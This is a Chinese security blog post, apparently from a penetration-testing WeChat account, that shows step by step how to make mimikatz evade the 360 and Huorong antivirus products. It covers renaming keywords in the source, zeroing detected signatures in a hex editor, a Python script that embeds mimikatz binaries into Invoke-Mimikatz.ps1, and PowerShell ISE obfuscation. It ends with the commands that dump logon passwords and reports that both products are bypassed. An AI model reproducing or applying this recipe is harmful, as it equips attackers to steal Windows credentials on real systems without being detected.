公众号:渗透师老A专注分享渗透经验,干货技巧....
作者:掌控安全-蹦擦擦
前言
最近在公众号上看到了两篇mimikatz的免杀文章,看着操作很简单,就是不知道免杀效果怎么样,本着实践是检验真理的唯一标准的原则,自己动手尝试了一下,然后就有了这篇文章。
基于特征码免杀
先看第一篇文章,文章链接:http://adkx.net/w5fe6
文章1方法
先概括一下文章给出的方法:1、*载下**mimikatz源码,使用 visual studio打开。
2、全局查找 mimikatz和MIMIKATZ关键字,全部替换为其他关键字。
3、修改含有 mimikatz的文件名。
4、编辑 mimikatz/mimikatz/mimikatz.rc,将一些名称进行修改,还有种类编辑器注释作者名称。
5、编译生成可执行文件,删除 icon等信息,即可免杀。
自己照着上面的方法试了一下,几乎将所有 mimikatz的关键字都替换了,包括文件名,并且还改了作者等信息。然后编译出来后:

落地就报毒。
文章给出的方法已经不能用了,去网上看了一下这是去年的方法。
只不过一些公众号在炒冷饭,过一段时间就发一遍。
改良方法
既然这个方法不能用了,那就自己改良一下,开始还是按照文章的思路来。
*载下**mimikatz源码: https://github.com/gentilkiwi/mimikatz
替换关键字
*载下**好源码后,使用visual studio打开 mimikatz.sln文件:

全局替换 mimikatz -> iphonex

MIMIKATZ -> IPHONEX

配置属性
项目 -> xxx属性


编译
在编译的过程中会报一些错误:
(1)报错找不到文件,重新改回mimikatz,或者修改文件名

(2)编码问题
遇到这种错误就把文件用sublime打开,然后使用utf-8编码重新保存一下

还不行的话就把将警告视为错误改为否

编译成功,依然落地报毒。

删除ico
这步的目的是绕过360动态查杀。
使用 resource_hacker工具打开,然后把图标、信息等全部删掉。

如果不做这一步,可以静态和动态绕过火绒,但是360动态会报毒。
定位关键字
使用 VirTest定位特征码,这里发现了5个特征码:

用16进制工具打开文件,将关键字替换,把关键字都换成00

替换后保存,火绒没有报毒。
验证
静态测试
火绒

360杀毒

动态测试
火绒

360杀毒

Invoke-Mimikatz免杀
再看第二篇文章,文章链接: http://adkx.net/w56fr
文章2方法
概括一下文章给出的方法:
1、*载下** Invoke-Mimikatz.ps1文件。
2、对mimikatz的ps脚本执行基础的字符混淆。
3、利用powershell ise自带的功能进行混淆。
照着上面的方法试了一下,免杀效果还可以,有个缺点是生成后的文件较大。
因为自己试的过程中踩了些坑,所以下面也记录一下。
使用windows2012搞了半天一直报错,排查了半天发现是powershell版本的问题。换成win10搞直接就好了。
*载下**工具
工具地址: https://github.com/BC-SECURITY/Empire/blob/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1
更新mimikatz
工具很久没更新了,可以在github上*载下**最新版的mimikatz进行更新,mimikatz地址: https://github.com/gentilkiwi/mimikatz
py脚本:
import fileinput
import base64
with open("./mimikatz_trunk/Win32/mimikatz*ex.e**", "rb") as f:
win32 = base64.b64encode(f.read()).decode()
with open("./mimikatz_trunk/x64/mimikatz*ex.e**", "rb") as f:
x64 = base64.b64encode(f.read()).decode()
for line in fileinput.FileInput("./Invoke-Mimikatz.ps1", inplace=1):
line = line.rstrip('\r\n')
if "$PEBytes64 = " in line:
print("$PEBytes64 = '" + x64 + "'")
elif "$PEBytes32 = " in line:
print("$PEBytes32 = '" + win32 + "'")
else:
print(line)
将python脚本、 Invoke-Mimikatz.ps1和mimikatz_trunk放在同一目录

启动mimikatz
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz
已经是 mimikatz_trunk的版本了:

如果觉得名字比较敏感,想要改名,打开文件,将函数名修改成想改的名字:

然后将文件重命名,运行文件:
powershell Import-Module .\helloworld.ps1;helloworld
下面的操作还是用的原始名字进行演示。
PowerShell ISE混淆

打开 Windows PowerShell ISE,输入Start-Steroids

打开刚刚需要混淆的文件,工具 -> Obfuscate Code

可以选择模式,这里使用默认的:

生成文件后,保存。
缺点是生成后的文件较大:

验证
静态测试
火绒

360杀毒

动态测试
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz
privilege::debug
sekurlsa::logonPasswords
火绒

360杀毒

声明:本号分享的内容,仅用于网安爱好者之间的技术讨论,禁止用于违法途径,否则需自行承担后果,本号及作者不承担相应的后果.